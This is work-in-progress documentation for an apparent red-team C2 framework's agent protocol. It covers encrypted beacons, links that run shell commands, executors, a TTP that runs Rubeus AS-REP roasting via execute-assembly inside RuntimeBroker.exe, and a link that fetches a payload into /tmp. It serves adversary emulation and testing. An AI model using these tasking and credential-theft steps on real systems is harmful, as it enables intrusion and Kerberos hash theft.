agents docs work in progress

agent_docs.md

Agent beacons

An agent beacon is an AES-256 encrypted JSON object.

Beacon

A beacon stores agent data and Links which contain tasks to be executed on the corresponding Executors.

When an agent advertises itself to Operator it sends a beacon as shown in the example below.

{
	Name: "foo",
	Target: "127.0.0.1:2323",
	Hostname: "MacBook-Pro.local",
	Location: "/tmp/pneuma-darwin",
	Platform: "darwin",
	Executors: ["keyword", "config", "shell", "exit", "python", "zsh", "sh", "applescript", "jxa", "bash"],
	Range: "red",
	Sleep: 5,
	Pwd: "/tmp/",
	Executing: "",
	Links: [],
	Facts: []
}

Links

This is a Link sent from Operator to an agent. It is a request to perform some task.

{
  "ID": "9a2a6dd4-20c3-4be4-b105-8d8726c57259",
  "Executor": "sh",
  "Payload: "",
  "Request": "whoami",
  "Response: "",
  "Status: 0,
  "Pid": 0
}

This is a completed link. The request has been executed and the response contains the output of the executed command, status contains the error code, and pid contains the process ID of the executing proces (usually the agent itself).

Completed links are appended to the beacon Links list and sent to Operator on the next beacon.

{
  "ID": "9a2a6dd4-20c3-4be4-b105-8d8726c57259",
  "Executor": "sh",
  "Payload: "",
  "Request": "whoami",
  "Response: "root",
  "Status: 0,
  "Pid": 59074
}

Executors

Executors are the named execution capabilities of an agent. For example, the bash executor is used when passing a link's request to a bash shell.

Each agent must advertise the executors it supports. These are stored in the beacon's Executors property.

Executors can be arbitrarily defined in the agent. Adding a new executor is as simple as coding the execution logic and the interface to handle a passing a link request of that executor type to the corresponding executor.

Let's look at an example of execute-assembly. At the bottom, this TTP runs on the execute-assembly executor on the windows platform. This example passes in rubeus_donut.bin as a byte array. The payload is stored locally in Operator and can uploaded via the TTP editor.

id: 6ef19cb1-f8e5-4cdb-b3f1-98953174375f
name: Run AS-REP roasting assembly
description: |
  Run the Rubeus assembly with the arguments "asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt"
  via execute-assembly. The PAYLOAD.BYTES magic word will let plugins optionally render a byte buffer for the payload at
  the specified field.
tactic: credential-access
technique:
  id: T1558.004
  name: 'Steal or Forge Kerberos Tickets: AS-REP Roasting'
metadata:
  authors:
    - khyberspache
  tags: []
  payloads:
    rubeus_donut.bin: c56f7d7aaa1e37e7e45163fa5a4660dc6deb4215
  enabled: true
  checksum: 6524f532bbf2c419206b162f3719c431864829dac7d9edfe9acf275d34154364
  release_date: '2020-11-05'
  source: community
platforms:
  windows:
    execute-assembly:
      command: '{"Data":"PAYLOAD.BYTES", "process":"RuntimeBroker.exe"}'
      payload: rubeus_donut.bin

Payloads

{
  "ID": "ee5b8edc-aea0-43ac-a321-1d52003a7d37 ",
  "Executor": "sh",
  "Payload: "http://0.0.0.0:3391/payloads/f1d2d2f924e986ac86fdf7b36c94bcdf32beec15/payload.txt",
  "Request": "cp \"./payload.txt\" /tmp/payload.sh",
  "Response: "",
  "Status: 0,
  "Pid": 0
}

Facts